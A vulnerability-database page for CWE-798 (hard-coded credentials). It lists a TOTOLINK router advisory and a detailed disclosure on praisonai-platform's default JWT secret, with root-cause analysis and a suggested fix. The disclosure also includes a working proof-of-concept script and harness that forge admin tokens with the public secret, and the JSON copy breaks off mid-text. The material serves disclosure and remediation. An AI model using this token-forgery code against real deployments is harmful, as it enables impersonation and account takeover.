Common Weakness Enumeration

CWE-798

Allowed-with-Review

Use of Hard-coded Credentials

Abstraction: Base · Status: Draft

The product contains hard-coded credentials, such as a password or cryptographic key.

2185 vulnerabilities reference this CWE, most recent first.

GHSA-CWGR-PVRH-Q3XF

Vulnerability from github – Published: 2022-05-19 00:00 – Updated: 2022-05-27 00:00
VLAI
Details

TOTOLINK A3100R V4.1.2cu.5050_B20200504 and V4.1.2cu.5247_B20211129 were discovered to contain a hard coded password for root stored in the component /etc/shadow.sample.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-29645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-18T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "TOTOLINK A3100R V4.1.2cu.5050_B20200504 and V4.1.2cu.5247_B20211129 were discovered to contain a hard coded password for root stored in the component /etc/shadow.sample.",
  "id": "GHSA-cwgr-pvrh-q3xf",
  "modified": "2022-05-27T00:00:48Z",
  "published": "2022-05-19T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29645"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shijin0925/IOT/blob/master/TOTOLINK%20A3100R/8.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CWJ8-7GP2-GGCW

Vulnerability from github – Published: 2026-06-18 14:27 – Updated: 2026-07-20 21:28
VLAI
Summary
praisonai-platform: default JWT signing secret 'dev-secret-change-me' enables token forgery
Details

praisonai-platform: default JWT signing secret dev-secret-change-me

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI


Package: praisonai-platform on PyPI Latest version (and version tested): 0.1.4, current as of 2026-06-01. File: praisonai_platform/services/auth_service.py (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258). Weakness: CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.


TL;DR

praisonai_platform/services/auth_service.py lines 25-37:

_DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET)
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))

if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
    raise RuntimeError(
        "PLATFORM_JWT_SECRET must be set to a strong random value in production. "
        "Set PLATFORM_ENV=dev to suppress this check during development."
    )

The guard at line 33 is meant to catch the "deployed to production with the default secret" failure mode. But it only fires when both:

  • the operator left PLATFORM_JWT_SECRET unset (so JWT_SECRET is the default literal), and
  • the operator explicitly set PLATFORM_ENV to something other than "dev".

If the operator left both env vars unset — the most common mis-deploy — PLATFORM_ENV falls back to "dev", the second leg of the and evaluates False, and the guard does NOT fire. The server starts up signing every JWT with the public string 'dev-secret-change-me'.

The fix is to invert the polarity: refuse startup when the secret is the default regardless of PLATFORM_ENV, except when an explicit PLATFORM_ALLOW_DEV_SECRET=true (or equivalent) flag is set. That flips "default-allow" to "default-deny", which is what the line-33 comment implies the author wanted.

Root cause

   Expected behavior, reading line 33 of auth_service.py:
     "Good — the framework refuses to start in production with a
      default-string secret.  I'm safe by construction."

   Actual behavior:
     - PLATFORM_ENV defaults to 'dev' when unset.
     - The guard checks PLATFORM_ENV != 'dev', not PLATFORM_ENV == 'production'
       or "operator explicitly opted in to using the dev secret".
     - So the "deployed without setting any env var" config — typical
       for first-pip-install or quick-start docker — sits silently in
       dev mode with the public secret.

   Impact:
     A guard that requires the operator to EXPLICITLY signal
     "production" cannot catch operators who forgot to signal anything.
     The forgot-to-signal case is the one the guard was designed to
     catch.

Empirical verification

poc/poc.py imports the installed PyPI package (praisonai-platform==0.1.4) with both env vars unset:

[1] startup guard at auth_service.py:33 status
    Inputs:
      JWT_SECRET    = 'dev-secret-change-me'
      _DEFAULT_SECRET = 'dev-secret-change-me'
      PLATFORM_ENV  = 'dev'  (default 'dev')
    -> JWT_SECRET == _DEFAULT_SECRET: True
    -> PLATFORM_ENV != 'dev':         False
    -> guard fires?                   False

[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258
    JWT_ALGORITHM: 'HS256'

[3] forge a JWT signed with the live JWT_SECRET
    forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[4] jwt.decode(forged_token, JWT_SECRET) — same call as
    AuthService._verify_token at auth_service.py:139
    decoded.sub  = admin-user-id-attacker-chose
    decoded.email= admin@example.com

[5] AuthService._verify_token(forged_token) (live method call)
    identity.id    = admin-user-id-attacker-chose
    identity.email = admin@example.com

VERDICT: VULNERABLE
EXIT 0

Step [5] is the load-bearing one: the attacker token is decoded by the same method the FastAPI dependency get_current_user (praisonai_platform/api/deps.py:28) calls. The returned AuthIdentity carries the attacker-chosen sub (user id) and email. Every route protected by Depends(get_current_user) (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.

PyJWT itself warns the key is 20 bytes — below the RFC 7518 §3.2 minimum of 32 bytes for HS256.

Impact

This is the familiar default-secret shape — a hardcoded fallback used to sign authentication tokens — with the additional twist that this one has a guard the author intended to catch the misconfiguration but whose polarity is wrong. Every route in praisonai_platform.api.app:create_app is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.

Workspace authorisation (require_workspace_member in deps.py) then checks the forged user is a member of the requested workspace; if the attacker mints a token with sub equal to a known member's id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client — including the attacker's own forged token.

Anchors

praisonai-platform 0.1.4, praisonai_platform/services/auth_service.py (file sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258):

Line Code Meaning
25 _DEFAULT_SECRET = "dev-secret-change-me" Public default literal.
26 JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET) Env-var fallback chain.
27 JWT_ALGORITHM = "HS256" HMAC-SHA256 with the default key.
33-37 if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": raise RuntimeError(...) The asymmetric guard. Defaults PLATFORM_ENV to "dev", so the != "dev" check evaluates False on the forgot-to-set case.
108-118 _issue_token(...) calls jwt.encode(payload, JWT_SECRET, …) Signing site.
137-150 _verify_token(...) calls jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM]) Verification site — accepts attacker-forged tokens.

praisonai_platform/api/deps.py:28 get_current_user calls AuthService.authenticate({"token": token}) which routes to _verify_token. Every router under praisonai_platform.api.app mounts handlers behind this dependency.

Suggested fix

Invert the guard polarity:

import secrets

_DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET")
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))

if not JWT_SECRET:
    # Allow the dev fallback only when the operator EXPLICITLY signals
    # they understand it.  The default posture is fail-closed.
    if os.environ.get("PLATFORM_ALLOW_DEV_SECRET", "").lower() == "true":
        JWT_SECRET = _DEFAULT_SECRET
    else:
        raise RuntimeError(
            "PLATFORM_JWT_SECRET is required.  "
            "For local development only, set PLATFORM_ALLOW_DEV_SECRET=true."
        )

This pattern is borrowed from Django's SECRET_KEY first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (PLATFORM_ALLOW_DEV_SECRET=true) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py

"""
PoC: praisonai-platform's default JWT signing key is the public literal
'dev-secret-change-me', and the guard intended to refuse production
startup checks the wrong axis — operators who deploy without setting
`PLATFORM_ENV` are treated as `dev` and silently get the public secret.

Prerequisite:
    pip install praisonai-platform pyjwt
"""

import hashlib
import inspect
import os
import sys

def main() -> int:
    # Simulate the realistic "operator pip-installed praisonai-platform
    # and started uvicorn without setting any env var" deployment.
    for env_var in ('PLATFORM_JWT_SECRET', 'PLATFORM_ENV'):
        if env_var in os.environ:
            del os.environ[env_var]

    print('=' * 72)
    print('praisonai-platform — default JWT secret')
    print('=' * 72)

    try:
        from praisonai_platform.services import auth_service
    except RuntimeError as e:
        print(f'\nUNEXPECTED — import raised at startup: {e}')
        return 1

    src = inspect.getsourcefile(auth_service)
    with open(src, 'rb') as f:
        sha = hashlib.sha256(f.read()).hexdigest()

    print()
    print('[1] startup guard at auth_service.py:33 status')
    print(f'      JWT_SECRET    = {auth_service.JWT_SECRET!r}')
    print(f'      _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}')
    print(f"      PLATFORM_ENV  = {os.environ.get('PLATFORM_ENV', 'dev')!r}  (default 'dev')")
    print('    => Guard does NOT fire on the "operator forgot to set both" failure mode.')

    print()
    print('[2] module sha256 + key bindings on the LIVE installed package')
    print(f'    sha256:          {sha}')
    print(f'    JWT_ALGORITHM:   {auth_service.JWT_ALGORITHM!r}')

    if auth_service.JWT_SECRET != 'dev-secret-change-me':
        print('UNEXPECTED — JWT_SECRET is not the public literal.')
        return 1

    import jwt
    from datetime import datetime, timedelta, timezone

    now = datetime.now(timezone.utc)
    forged_payload = {
        'sub': 'admin-user-id-attacker-chose',
        'email': 'admin@example.com',
        'name': 'Spoofed Admin',
        'iat': now,
        'exp': now + timedelta(seconds=3600),
    }
    forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM)
    print()
    print('[3] forge a JWT signed with the live JWT_SECRET')
    print(f'    forged head: {forged_token[:70]}...')

    decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM])
    print()
    print('[4] jwt.decode(forged_token, JWT_SECRET) — same call as AuthService._verify_token')
    print(f'    decoded.sub  = {decoded.get("sub")}')
    print(f'    decoded.email= {decoded.get("email")}')

    if decoded.get('sub') != 'admin-user-id-attacker-chose':
        print('UNEXPECTED — decoded payload mismatched.')
        return 1

    try:
        svc = auth_service.AuthService(session=None)
        identity = svc._verify_token(forged_token)
    except Exception as e:
        print(f'    (Couldn\'t reach _verify_token: {e!r})')
        identity = None

    if identity is not None:
        print()
        print('[5] AuthService._verify_token(forged_token) (live method call)')
        print(f'    identity.id    = {identity.id}')
        print(f'    identity.email = {identity.email}')

    print()
    print("VULNERABLE: praisonai-platform defaults JWT_SECRET to the public")
    print("            literal 'dev-secret-change-me'.  The line-33 guard only")
    print("            refuses startup when PLATFORM_ENV is explicitly non-'dev'")
    print('            AND the secret is default — operators who forgot to set')
    print('            the env var entirely are silently in dev mode.')
    print('VERDICT: VULNERABLE')
    return 0

if __name__ == '__main__':
    sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, importlib.util, os
os.environ.pop("PLATFORM_JWT_SECRET", None); os.environ.pop("PLATFORM_ENV", None)  # default deploy
BASE = os.path.abspath("repos/PraisonAI/src/praisonai-platform")
def pkg(name, path=None):
    m=types.ModuleType(name)
    if path: m.__path__=[path]
    sys.modules[name]=m; return m
def stub(name, **a):
    m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m
pkg("praisonai_platform", BASE+"/praisonai_platform")
pkg("praisonai_platform.services", BASE+"/praisonai_platform/services")
pkg("praisonai_platform.db", BASE+"/praisonai_platform/db")
stub("praisonai_platform.db.models", Member=type("Member",(),{}), User=type("User",(),{}))
stub("sqlalchemy", select=lambda *a,**k:None)
sa_async=types.ModuleType("sqlalchemy.ext.asyncio"); sa_async.AsyncSession=type("AsyncSession",(),{}); sys.modules["sqlalchemy.ext.asyncio"]=sa_async; sys.modules["sqlalchemy.ext"]=types.ModuleType("sqlalchemy.ext")
stub("passlib"); stub("passlib.context", CryptContext=type("CryptContext",(),{"__init__":lambda s,*a,**k:None,"hash":lambda s,x:x,"verify":lambda s,a,b:a==b}))
stub("praisonaiagents")
class AuthIdentity:
    def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name
stub("praisonaiagents.auth", AuthIdentity=AuthIdentity)

spec=importlib.util.spec_from_file_location("praisonai_platform.services.auth_service", BASE+"/praisonai_platform/services/auth_service.py")
mod=importlib.util.module_from_spec(spec); mod.__package__="praisonai_platform.services"
sys.modules[spec.name]=mod; spec.loader.exec_module(mod)   # REAL auth_service.py

print("[*] REAL module JWT_SECRET =", repr(mod.JWT_SECRET), "| _DEFAULT_SECRET =", repr(mod._DEFAULT_SECRET))
AuthService=mod.AuthService
svc=AuthService.__new__(AuthService)                       # bypass DB __init__
FakeUser=type("U",(),{"id":"attacker-id","email":"attacker@evil.test","name":"admin"})
tok=svc._issue_token(FakeUser)                              # REAL _issue_token (default secret)
print("[*] REAL _issue_token ->", tok[:46],"...")
ident=svc._verify_token(tok)                                # REAL _verify_token
print("[+] REAL _verify_token ->", {"id":ident.id,"email":ident.email,"name":ident.name})
assert ident and ident.id=="attacker-id" and mod.JWT_SECRET=="dev-secret-change-me"
print("[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] REAL module JWT_SECRET = 'dev-secret-change-me' | _DEFAULT_SECRET = 'dev-secret-change-me'
[*] REAL _issue_token -> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...
[+] REAL _verify_token -> {'id': 'attacker-id', 'email': 'attacker@evil.test', 'name': 'admin'}
[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:27:34Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# praisonai-platform: default JWT signing secret `dev-secret-change-me`\n\n**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai-platform` on PyPI\n**Latest version (and version tested):** `0.1.4`, current as of 2026-06-01.\n**File:** `praisonai_platform/services/auth_service.py` (sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`).\n**Weakness:** CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.\n\n---\n\n## TL;DR\n\n`praisonai_platform/services/auth_service.py` lines 25-37:\n\n```python\n_DEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", _DEFAULT_SECRET)\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\n\nif JWT_SECRET == _DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n    raise RuntimeError(\n        \"PLATFORM_JWT_SECRET must be set to a strong random value in production. \"\n        \"Set PLATFORM_ENV=dev to suppress this check during development.\"\n    )\n```\n\nThe guard at line 33 is meant to catch the \"deployed to production with the default secret\" failure mode. But it only fires when **both**:\n\n- the operator left `PLATFORM_JWT_SECRET` unset (so `JWT_SECRET` is the default literal), **and**\n- the operator explicitly set `PLATFORM_ENV` to something other than `\"dev\"`.\n\nIf the operator left **both** env vars unset \u2014 the most common mis-deploy \u2014 `PLATFORM_ENV` falls back to `\"dev\"`, the second leg of the `and` evaluates `False`, and the guard does NOT fire. The server starts up signing every JWT with the public string `\u0027dev-secret-change-me\u0027`.\n\nThe fix is to invert the polarity: refuse startup when the secret is the default **regardless** of `PLATFORM_ENV`, except when an explicit `PLATFORM_ALLOW_DEV_SECRET=true` (or equivalent) flag is set. That flips \"default-allow\" to \"default-deny\", which is what the line-33 comment implies the author wanted.\n\n## Root cause\n\n```\n   Expected behavior, reading line 33 of auth_service.py:\n     \"Good \u2014 the framework refuses to start in production with a\n      default-string secret.  I\u0027m safe by construction.\"\n\n   Actual behavior:\n     - PLATFORM_ENV defaults to \u0027dev\u0027 when unset.\n     - The guard checks PLATFORM_ENV != \u0027dev\u0027, not PLATFORM_ENV == \u0027production\u0027\n       or \"operator explicitly opted in to using the dev secret\".\n     - So the \"deployed without setting any env var\" config \u2014 typical\n       for first-pip-install or quick-start docker \u2014 sits silently in\n       dev mode with the public secret.\n\n   Impact:\n     A guard that requires the operator to EXPLICITLY signal\n     \"production\" cannot catch operators who forgot to signal anything.\n     The forgot-to-signal case is the one the guard was designed to\n     catch.\n```\n\n## Empirical verification\n\n`poc/poc.py` imports the **installed** PyPI package (`praisonai-platform==0.1.4`) with both env vars unset:\n\n```\n[1] startup guard at auth_service.py:33 status\n    Inputs:\n      JWT_SECRET    = \u0027dev-secret-change-me\u0027\n      _DEFAULT_SECRET = \u0027dev-secret-change-me\u0027\n      PLATFORM_ENV  = \u0027dev\u0027  (default \u0027dev\u0027)\n    -\u003e JWT_SECRET == _DEFAULT_SECRET: True\n    -\u003e PLATFORM_ENV != \u0027dev\u0027:         False\n    -\u003e guard fires?                   False\n\n[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258\n    JWT_ALGORITHM: \u0027HS256\u0027\n\n[3] forge a JWT signed with the live JWT_SECRET\n    forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n\n[4] jwt.decode(forged_token, JWT_SECRET) \u2014 same call as\n    AuthService._verify_token at auth_service.py:139\n    decoded.sub  = admin-user-id-attacker-chose\n    decoded.email= admin@example.com\n\n[5] AuthService._verify_token(forged_token) (live method call)\n    identity.id    = admin-user-id-attacker-chose\n    identity.email = admin@example.com\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\nStep [5] is the load-bearing one: the attacker token is decoded by the **same method** the FastAPI dependency `get_current_user` (`praisonai_platform/api/deps.py:28`) calls. The returned `AuthIdentity` carries the attacker-chosen `sub` (user id) and `email`. Every route protected by `Depends(get_current_user)` (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.\n\nPyJWT itself warns the key is 20 bytes \u2014 below the RFC 7518 \u00a73.2 minimum of 32 bytes for HS256.\n\n## Impact\n\nThis is the familiar default-secret shape \u2014 a hardcoded fallback used to sign authentication tokens \u2014 with the additional twist that this one has a guard the author *intended* to catch the misconfiguration but whose polarity is wrong. Every route in `praisonai_platform.api.app:create_app` is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.\n\nWorkspace authorisation (`require_workspace_member` in `deps.py`) then checks the forged user is a member of the requested workspace; if the attacker mints a token with `sub` equal to a known member\u0027s id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client \u2014 including the attacker\u0027s own forged token.\n\n## Anchors\n\n`praisonai-platform` 0.1.4, `praisonai_platform/services/auth_service.py` (file sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`):\n\n| Line  | Code                                                                | Meaning |\n|-------|---------------------------------------------------------------------|---------|\n| 25    | `_DEFAULT_SECRET = \"dev-secret-change-me\"`                          | Public default literal.  |\n| 26    | `JWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", _DEFAULT_SECRET)` | Env-var fallback chain. |\n| 27    | `JWT_ALGORITHM = \"HS256\"`                                            | HMAC-SHA256 with the default key. |\n| 33-37 | `if JWT_SECRET == _DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\": raise RuntimeError(...)` | The asymmetric guard.  Defaults `PLATFORM_ENV` to `\"dev\"`, so the `!= \"dev\"` check evaluates `False` on the forgot-to-set case. |\n| 108-118 | `_issue_token(...)` calls `jwt.encode(payload, JWT_SECRET, \u2026)`     | Signing site. |\n| 137-150 | `_verify_token(...)` calls `jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])` | Verification site \u2014 accepts attacker-forged tokens.  |\n\n`praisonai_platform/api/deps.py:28` `get_current_user` calls `AuthService.authenticate({\"token\": token})` which routes to `_verify_token`. Every router under `praisonai_platform.api.app` mounts handlers behind this dependency.\n\n## Suggested fix\n\nInvert the guard polarity:\n\n```python\nimport secrets\n\n_DEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\")\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\n\nif not JWT_SECRET:\n    # Allow the dev fallback only when the operator EXPLICITLY signals\n    # they understand it.  The default posture is fail-closed.\n    if os.environ.get(\"PLATFORM_ALLOW_DEV_SECRET\", \"\").lower() == \"true\":\n        JWT_SECRET = _DEFAULT_SECRET\n    else:\n        raise RuntimeError(\n            \"PLATFORM_JWT_SECRET is required.  \"\n            \"For local development only, set PLATFORM_ALLOW_DEV_SECRET=true.\"\n        )\n```\n\nThis pattern is borrowed from Django\u0027s `SECRET_KEY` first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (`PLATFORM_ALLOW_DEV_SECRET=true`) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai-platform\u0027s default JWT signing key is the public literal\n\u0027dev-secret-change-me\u0027, and the guard intended to refuse production\nstartup checks the wrong axis \u2014 operators who deploy without setting\n`PLATFORM_ENV` are treated as `dev` and silently get the public secret.\n\nPrerequisite:\n    pip install praisonai-platform pyjwt\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -\u003e int:\n    # Simulate the realistic \"operator pip-installed praisonai-platform\n    # and started uvicorn without setting any env var\" deployment.\n    for env_var in (\u0027PLATFORM_JWT_SECRET\u0027, \u0027PLATFORM_ENV\u0027):\n        if env_var in os.environ:\n            del os.environ[env_var]\n\n    print(\u0027=\u0027 * 72)\n    print(\u0027praisonai-platform \u2014 default JWT secret\u0027)\n    print(\u0027=\u0027 * 72)\n\n    try:\n        from praisonai_platform.services import auth_service\n    except RuntimeError as e:\n        print(f\u0027\\nUNEXPECTED \u2014 import raised at startup: {e}\u0027)\n        return 1\n\n    src = inspect.getsourcefile(auth_service)\n    with open(src, \u0027rb\u0027) as f:\n        sha = hashlib.sha256(f.read()).hexdigest()\n\n    print()\n    print(\u0027[1] startup guard at auth_service.py:33 status\u0027)\n    print(f\u0027      JWT_SECRET    = {auth_service.JWT_SECRET!r}\u0027)\n    print(f\u0027      _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}\u0027)\n    print(f\"      PLATFORM_ENV  = {os.environ.get(\u0027PLATFORM_ENV\u0027, \u0027dev\u0027)!r}  (default \u0027dev\u0027)\")\n    print(\u0027    =\u003e Guard does NOT fire on the \"operator forgot to set both\" failure mode.\u0027)\n\n    print()\n    print(\u0027[2] module sha256 + key bindings on the LIVE installed package\u0027)\n    print(f\u0027    sha256:          {sha}\u0027)\n    print(f\u0027    JWT_ALGORITHM:   {auth_service.JWT_ALGORITHM!r}\u0027)\n\n    if auth_service.JWT_SECRET != \u0027dev-secret-change-me\u0027:\n        print(\u0027UNEXPECTED \u2014 JWT_SECRET is not the public literal.\u0027)\n        return 1\n\n    import jwt\n    from datetime import datetime, timedelta, timezone\n\n    now = datetime.now(timezone.utc)\n    forged_payload = {\n        \u0027sub\u0027: \u0027admin-user-id-attacker-chose\u0027,\n        \u0027email\u0027: \u0027admin@example.com\u0027,\n        \u0027name\u0027: \u0027Spoofed Admin\u0027,\n        \u0027iat\u0027: now,\n        \u0027exp\u0027: now + timedelta(seconds=3600),\n    }\n    forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM)\n    print()\n    print(\u0027[3] forge a JWT signed with the live JWT_SECRET\u0027)\n    print(f\u0027    forged head: {forged_token[:70]}...\u0027)\n\n    decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM])\n    print()\n    print(\u0027[4] jwt.decode(forged_token, JWT_SECRET) \u2014 same call as AuthService._verify_token\u0027)\n    print(f\u0027    decoded.sub  = {decoded.get(\"sub\")}\u0027)\n    print(f\u0027    decoded.email= {decoded.get(\"email\")}\u0027)\n\n    if decoded.get(\u0027sub\u0027) != \u0027admin-user-id-attacker-chose\u0027:\n        print(\u0027UNEXPECTED \u2014 decoded payload mismatched.\u0027)\n        return 1\n\n    try:\n        svc = auth_service.AuthService(session=None)\n        identity = svc._verify_token(forged_token)\n    except Exception as e:\n        print(f\u0027    (Couldn\\\u0027t reach _verify_token: {e!r})\u0027)\n        identity = None\n\n    if identity is not None:\n        print()\n        print(\u0027[5] AuthService._verify_token(forged_token) (live method call)\u0027)\n        print(f\u0027    identity.id    = {identity.id}\u0027)\n        print(f\u0027    identity.email = {identity.email}\u0027)\n\n    print()\n    print(\"VULNERABLE: praisonai-platform defaults JWT_SECRET to the public\")\n    print(\"            literal \u0027dev-secret-change-me\u0027.  The line-33 guard only\")\n    print(\"            refuses startup when PLATFORM_ENV is explicitly non-\u0027dev\u0027\")\n    print(\u0027            AND the secret is default \u2014 operators who forgot to set\u0027)\n    print(\u0027            the env var entirely are silently in dev mode.\u0027)\n    print(\u0027VERDICT: VULNERABLE\u0027)\n    return 0\n\nif __name__ == \u0027__main__\u0027:\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, importlib.util, os\nos.environ.pop(\"PLATFORM_JWT_SECRET\", None); os.environ.pop(\"PLATFORM_ENV\", None)  # default deploy\nBASE = os.path.abspath(\"repos/PraisonAI/src/praisonai-platform\")\ndef pkg(name, path=None):\n    m=types.ModuleType(name)\n    if path: m.__path__=[path]\n    sys.modules[name]=m; return m\ndef stub(name, **a):\n    m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m\npkg(\"praisonai_platform\", BASE+\"/praisonai_platform\")\npkg(\"praisonai_platform.services\", BASE+\"/praisonai_platform/services\")\npkg(\"praisonai_platform.db\", BASE+\"/praisonai_platform/db\")\nstub(\"praisonai_platform.db.models\", Member=type(\"Member\",(),{}), User=type(\"User\",(),{}))\nstub(\"sqlalchemy\", select=lambda *a,**k:None)\nsa_async=types.ModuleType(\"sqlalchemy.ext.asyncio\"); sa_async.AsyncSession=type(\"AsyncSession\",(),{}); sys.modules[\"sqlalchemy.ext.asyncio\"]=sa_async; sys.modules[\"sqlalchemy.ext\"]=types.ModuleType(\"sqlalchemy.ext\")\nstub(\"passlib\"); stub(\"passlib.context\", CryptContext=type(\"CryptContext\",(),{\"__init__\":lambda s,*a,**k:None,\"hash\":lambda s,x:x,\"verify\":lambda s,a,b:a==b}))\nstub(\"praisonaiagents\")\nclass AuthIdentity:\n    def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name\nstub(\"praisonaiagents.auth\", AuthIdentity=AuthIdentity)\n\nspec=importlib.util.spec_from_file_location(\"praisonai_platform.services.auth_service\", BASE+\"/praisonai_platform/services/auth_service.py\")\nmod=importlib.util.module_from_spec(spec); mod.__package__=\"praisonai_platform.services\"\nsys.modules[spec.name]=mod; spec.loader.exec_module(mod)   # REAL auth_service.py\n\nprint(\"[*] REAL module JWT_SECRET =\", repr(mod.JWT_SECRET), \"| _DEFAULT_SECRET =\", repr(mod._DEFAULT_SECRET))\nAuthService=mod.AuthService\nsvc=AuthService.__new__(AuthService)                       # bypass DB __init__\nFakeUser=type(\"U\",(),{\"id\":\"attacker-id\",\"email\":\"attacker@evil.test\",\"name\":\"admin\"})\ntok=svc._issue_token(FakeUser)                              # REAL _issue_token (default secret)\nprint(\"[*] REAL _issue_token -\u003e\", tok[:46],\"...\")\nident=svc._verify_token(tok)                                # REAL _verify_token\nprint(\"[+] REAL _verify_token -\u003e\", 